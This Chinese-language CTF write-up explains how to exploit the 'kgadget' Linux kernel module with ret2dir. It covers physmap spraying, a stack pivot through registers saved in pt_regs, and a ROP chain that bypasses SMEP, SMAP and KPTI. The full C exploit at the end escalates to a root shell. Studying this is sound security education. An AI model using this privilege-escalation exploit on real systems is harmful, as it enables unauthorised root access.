return to direct-mapped memory 绕过smep smap保护等用户空间与内核空间隔离的防护手段
查看linux x86虚拟内存布局 https://elixir.bootlin.com/linux/v5.19.17/source/Documentation/x86/x86_64/mm.rst
里面存在一块direct mapping of all physical memory的虚拟内存线性地直接映射了整个或部分物理内存空间 ,这块区域也叫physmap
Linux在x86-64架构是直接映射了整个物理内存到这块区域(上面图片是48位虚拟内存4级页表的情况),所有就可以利用这块区域访问到在用户空间布置的一些payload,新版本这块直接映射区没有执行权限,只能rop
grxer@Ubuntu22 ~/k/kgadget> file bzImage bzImage: Linux kernel x86 boot executable bzImage, version 5.10.112 (arttnba3@ubuntu) #1 SMP Thu Apr 21 19:47:35 +08 2022, RO-rootFS, swap_dev 0X9, Normal VGA
grxer@Ubuntu22 ~/k/k/rootfs> cpio -idmv < rootfs.cpio
grxer@Ubuntu22 ~/k/kgadget> checksec kgadget.ko [*] '/home/grxer/kernel-env/kgadget/kgadget.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
init脚本里限制了demsg和/proc/kallsystem
echo 1 >/proc/sys/kernel/dmesg_restrictecho 1 >/proc/sys/kernel/kptr_restrict
run.sh开了smep smap kpti,没开kaslr,可以通过vmlinux获取函数地址和gadget位置
-cpu kvm64,+smep,+smap \ -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
没有给vmlinux需要从bzImage里恢复,两种方法
extract-vmlinux ps:这道题用这个没恢复出来符号表
vmlinux-to-elf
file_operations结构体里重写了下面的函数
ioctl函数伪代码不太好看,直接看汇编
text.unlikely:00000000000000F 3 ; __int64 __fastcall kgadget_ioctl (file *__file, unsigned int cmd, unsigned __int64 param) .text.unlikely:00000000000000F3 kgadget_ioctl proc near ; DATA XREF: __mcount_loc:0000000000000653 ↓o .text.unlikely:00000000000000F 3 ; .data:kgadget_fo↓o .text.unlikely:00000000000000F 3 .text.unlikely:00000000000000F 3 regs_addr= qword ptr -20 h .text.unlikely:00000000000000F 3 .text.unlikely:00000000000000F 3 __file = rdi ; file * .text.unlikely:00000000000000F 3 cmd = rsi ; unsigned int .text.unlikely:00000000000000F 3 param = rdx ; unsigned __int64 .text.unlikely:00000000000000F 3 E8 40 0F 00 00 call __fentry__ ; PIC mode .text.unlikely:00000000000000F 3 .text.unlikely:00000000000000F 8 55 push rbp .text.unlikely:00000000000000F 9 48 89 E5 mov rbp, rsp .text.unlikely:00000000000000F C 53 push rbx .text.unlikely:00000000000000F D 48 83 EC 10 sub rsp, 10 h .text.unlikely:0000000000000101 65 48 8B 04 25 28 00 00 00 mov rax, gs:28 h .text.unlikely:000000000000010 A 48 89 45 F0 mov [rbp-10 h], rax .text.unlikely:000000000000010 E 31 C0 xor eax, eax .text.unlikely:0000000000000110 81 FE 52 BF 01 00 cmp esi, 1B F52h .text.unlikely:0000000000000116 0F 85 87 00 00 00 jnz loc_1A3 .text.unlikely:0000000000000116 .text.unlikely:000000000000011 C 48 8B 1 A mov rbx, [param] .text.unlikely:000000000000011F kgadget_ptr = rbx ; void (*)(void ) .text.unlikely:000000000000011F 48 C7 C7 70 03 00 00 mov __file, offset unk_370 .text.unlikely:0000000000000126 48 89 DE mov cmd, kgadget_ptr .text.unlikely:0000000000000129 E8 2 A 0F 00 00 call printk ; PIC mode .text.unlikely:0000000000000129 .text.unlikely:000000000000012 E 48 C7 C7 A0 03 00 00 mov rdi, offset unk_3A0 .text.unlikely:0000000000000135 E8 1 E 0F 00 00 call printk ; PIC mode .text.unlikely:0000000000000135 .text.unlikely:000000000000013 A 48 89 65 E8 mov [rbp-18 h], rsp .text.unlikely:000000000000013 E 48 8B 45 E8 mov rax, [rbp-18 h] .text.unlikely:0000000000000142 48 C7 C7 F8 03 00 00 mov rdi, offset unk_3F8 .text.unlikely:0000000000000149 48 05 00 10 00 00 add rax, 1000 h .text.unlikely:000000000000014F 48 25 00 F0 FF FF and rax, 0F FFFFFFFFFFFF000h .text.unlikely:0000000000000155 48 8 D 90 58 FF FF FF lea rdx, [rax-0 A8h] .text.unlikely:000000000000015 C 48 89 55 E8 mov [rbp-18 h], rdx .text.unlikely:0000000000000160 regs = rdx ; pt_regs * .text.unlikely:0000000000000160 48 BA 61 72 74 74 6 E 62 61 33 mov regs, '3abnttra' .text.unlikely:000000000000016 A 48 89 90 58 FF FF FF mov [rax-0 A8h], rdx .text.unlikely:0000000000000171 48 89 90 60 FF FF FF mov [rax-0 A0h], rdx .text.unlikely:0000000000000178 48 89 90 68 FF FF FF mov [rax-98 h], rdx .text.unlikely:000000000000017F 48 89 90 70 FF FF FF mov [rax-90 h], rdx .text.unlikely:0000000000000186 48 89 90 78 FF FF FF mov [rax-88 h], rdx .text.unlikely:000000000000018 D 48 89 50 80 mov [rax-80 h], rdx .text.unlikely:0000000000000191 48 89 50 90 mov [rax-70 h], rdx .text.unlikely:0000000000000195 E8 BE 0 E 00 00 call printk ; PIC mode .text.unlikely:0000000000000195 .text.unlikely:000000000000019 A E8 B1 0 E 00 00 call __x86_indirect_thunk_rbx ; PIC mode
会把ioctl第三个参数里的值当作函数指针去调用,所以可以在用户态布置提权rop链,同时我们可以在内核态从线性映射区那里访问到嘛,利用mmap申请且布置很多gadget内核访问到的机率就大的多
可以mmap申请后,gdb里用find命令去找下,验证下内核访问
find 0xffff888000000000,+0x10000000,"target strings"
现在需要解决的一个问题就是怎么把栈迁移到可以访问到用户态的线性映射区?
先了解下一点没开kpit时的syscall(开了pit还需要切换cr3,换页表)
syscall会把syscall的下一条指令地址即rip保存到rcx,rflags保存到 r11中,后执行到entry_SYSCALL_64
ENTRY(entry_SYSCALL_64) SWAPGS_UNSAFE_STACK movq %rsp, PER_CPU_VAR(rsp_scratch) movq PER_CPU_VAR (cpu_current_top_of_stack) , %rsp pushq $__USER_DS pushq PER_CPU_VAR (rsp_scratch) pushq %r11 pushq $__USER_CS pushq %rcx pushq %rax pushq %rdi pushq %rsi pushq %rdx pushq %rcx tuichu pushq $-ENOSYS pushq %r8 pushq %r9 pushq %r10 pushq %r11 sub $(6 *8 ) , %rsp .......
通过一系列的push在内核栈上形成一个pt_regs结构体
struct pt_regs { unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; unsigned long orig_rax; unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; };
所以我们可以在用户态控制这部分寄存器值,从而控制内核栈上的值,然后通过add rsp,val,ret和pop rsp,ret
来实现栈迁移
本题里除r8,r9寄存器其余都被破坏了,不过两个寄存器也够了
先利用add rsp,val,ret
把栈降到r9寄存器的位置,r9寄存器里存放pop rsp,ret
的gadget,pop rsp
完成栈迁移到r8里的值,ret执行迁移处的内容,所以r8里就存猜测的physmap地址
用下面的代码测试,断点断到最后执行 call __x86_indirect_thunk_rbx的ret
__asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, 0x22222222;" "mov r12, 0x33333333;" "mov rbp, 0x44444444;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, 0x999999999;" "mov r8, 0x888888888;" "mov rax, 0x10;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 0x33;" "mov rsi, 0x1bf52;" "mov rdi, fd;" "syscall" );
__x86_indirect_thunk_rbx最后实现调用
所以需要add rsp, 0xc0,找到了一条平替的gadget
0xffffffff810737fe: add rsp, 0xa0; pop rbx; pop r12; pop r13; pop rbp; ret;
由于开了pti,提权后返回用户态起rootshell前需要切换cr3
内核空间的PGD和用户空间的PGD连续的放置在一个8KB的内存空间中(内核态在低位,用户态在高位)。这段空间必须是8K对齐的,这样将CR3的切换操作转换为将CR3值的第13位(由低到高)的置位或清零操作,提高了CR3切换的速度。
切换到用户页表把第13位置1
;SWITCH_USER_CR3 mov rdi, cr3 or rdi, 1000h mov cr3, rdi
没有合适gadget来利用
由于没开kaslr,可以用swapgs_restore_regs_and_return_to_usermode函数来返回,这里从恢复的vmlinux看的话,vmlinux应该是恢复的有点问题
pwndbg> disassemble swapgs_restore_regs_and_return_to_usermode Dump of assembler code for function swapgs_restore_regs_and_return_to_usermode: 0xffffffff81c00fb0 <+0>: nop DWORD PTR [rax+rax*1+0x0] 0xffffffff81c00fb5 <+5>: pop r15 0xffffffff81c00fb7 <+7>: pop r14 0xffffffff81c00fb9 <+9>: pop r13 0xffffffff81c00fbb <+11>: pop r12 0xffffffff81c00fbd <+13>: pop rbp 0xffffffff81c00fbe <+14>: pop rbx 0xffffffff81c00fbf <+15>: pop r11 0xffffffff81c00fc1 <+17>: pop r10 0xffffffff81c00fc3 <+19>: pop r9 0xffffffff81c00fc5 <+21>: pop r8 0xffffffff81c00fc7 <+23>: pop rax 0xffffffff81c00fc8 <+24>: pop rcx 0xffffffff81c00fc9 <+25>: pop rdx 0xffffffff81c00fca <+26>: pop rsi;直到这里恢复一些当时中断保存的pt_regs寄存器组 0xffffffff81c00fcb <+27>: mov rdi,rsp;一般返回用户态起shll的rop直接返回这里即可 0xffffffff81c00fce <+30>: mov rsp,QWORD PTR gs:0x6004 0xffffffff81c00fd7 <+39>: push QWORD PTR [rdi+0x30] 0xffffffff81c00fda <+42>: push QWORD PTR [rdi+0x28] 0xffffffff81c00fdd <+45>: push QWORD PTR [rdi+0x20] 0xffffffff81c00fe0 <+48>: push QWORD PTR [rdi+0x18] 0xffffffff81c00fe3 <+51>: push QWORD PTR [rdi+0x10] 0xffffffff81c00fe6 <+54>: push QWORD PTR [rdi] 0xffffffff81c00fe8 <+56>: push rax 0xffffffff81c00fe9 <+57>: xchg ax,ax 0xffffffff81c00feb <+59>: mov rdi,cr3 0xffffffff81c00fee <+62>: jmp 0xffffffff81c01024 <swapgs_restore_regs_and_return_to_usermode+116> ...... 0xffffffff81c01024 <swapgs_restore_regs_and_return_to_usermode+116>: or rdi,0x1000;恢复用户态PGD 0xffffffff81c0102b <swapgs_restore_regs_and_return_to_usermode+123>: mov cr3,rdi 0xffffffff81c0102e <swapgs_restore_regs_and_return_to_usermode+126>: pop rax 0xffffffff81c0102f <swapgs_restore_regs_and_return_to_usermode+127>: pop rdi 0xffffffff81c01030 <swapgs_restore_regs_and_return_to_usermode+128>: swapgs 0xffffffff81c01033 <swapgs_restore_regs_and_return_to_usermode+131>: jmp 0xffffffff81c01060 <native_iret> ...... 0xffffffff81c01060 <native_iret>: test BYTE PTR [rsp+0x20],0x4;需要不相等,一般满足 0xffffffff81c01065 <native_iret+5>: jne 0xffffffff81c01069 <native_irq_return_ldt> 0xffffffff81c01067 <native_irq_return_iret>: iretq
切换了用户态的页表和gs寄存器,多pop了rax和rdi,所以提权rop链变为
rsp ----> swapgs_restore_regs_and_return_to_usermode::mov_rdi_rsp 0 0 get root shell cs rflags rsp ss
physmap里最后的形式就是下面这样
------------------------ add rsp, val ; ret add rsp, val ; ret add rsp, val ; ret add rsp, val ; ret ... add rsp, val ; ret # 该gadget必定会命中下一个区域中的一条ret,之后便能平缓地“滑”到常规的提权 rop 上 ------------------------ ret ret ... ret ------------------------ common root ROP chain ------------------------
exp #include <assert.h> #include <fcntl.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> size_t page_size;size_t pop_rsp_ret = 0xffffffff811483d0 ;size_t add_rsp_0xc0 = 0xffffffff810737fe ;size_t ret = 0xffffffff8108c6f1 ;size_t pop_rdi_ret = 0xffffffff8108c6f0 ;size_t prepare_kernel_cred = 0xffffffff810c9540 ;size_t commit_creds = 0xffffffff810c92e0 ;size_t init_cred = 0xffffffff82a6b700 ;size_t swapgs = 0xffffffff81c0129c ;size_t iret_poprbp = 0xffffffff8103ba65 ;size_t guess;size_t *physmap_spray_arr[16000 ];size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27 ;int fd;void spawn_shell () { if (!getuid()) { system("/bin/sh" ); } else { puts ("[*]spawn shell error!" ); } exit (0 ); } size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("[*]status has been saved." ); } void constructROPChain (size_t *rop) { int idx = 0 ; for (; idx < (page_size / 8 - 0x30 ); idx++) rop[idx] = add_rsp_0xc0; for (; idx < (page_size / 8 - 0x10 ); idx++) rop[idx] = ret; rop[idx++] = pop_rdi_ret; rop[idx++] = init_cred; rop[idx++] = commit_creds; rop[idx++] = swapgs_restore_regs_and_return_to_usermode; rop[idx++] = 0 ; rop[idx++] = 0 ; rop[idx++] = (size_t )spawn_shell; rop[idx++] = user_cs; rop[idx++] = user_rflags; rop[idx++] = user_sp; rop[idx++] = user_ss; } int main () { save_status(); fd = open("/dev/kgadget" , O_RDWR); if (fd < 0 ) { puts ("[*]open error!" ); exit (0 ); } page_size = sysconf(_SC_PAGESIZE); physmap_spray_arr[0 ] = mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); constructROPChain(physmap_spray_arr[0 ]); for (int i = 1 ; i < 15000 ; i++) { physmap_spray_arr[i] = mmap(NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (!physmap_spray_arr[i]) { perror("Mmap Failed!" ); exit (-1 ); } memcpy (physmap_spray_arr[i], physmap_spray_arr[0 ], page_size); } guess = 0xffff888000000000 + 0x7000000 ; __asm__("mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, 0x22222222;" "mov r12, 0x33333333;" "mov rbp, 0x44444444;" "mov rbx, 0x55555555;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, pop_rsp_ret;" "mov r8, guess;" "mov rax, 0x10;" "mov rcx, 0xaaaaaaaa;" "mov rdx, guess;" "mov rsi, 0x1bf52;" "mov rdi, fd;" "syscall" ); }
参考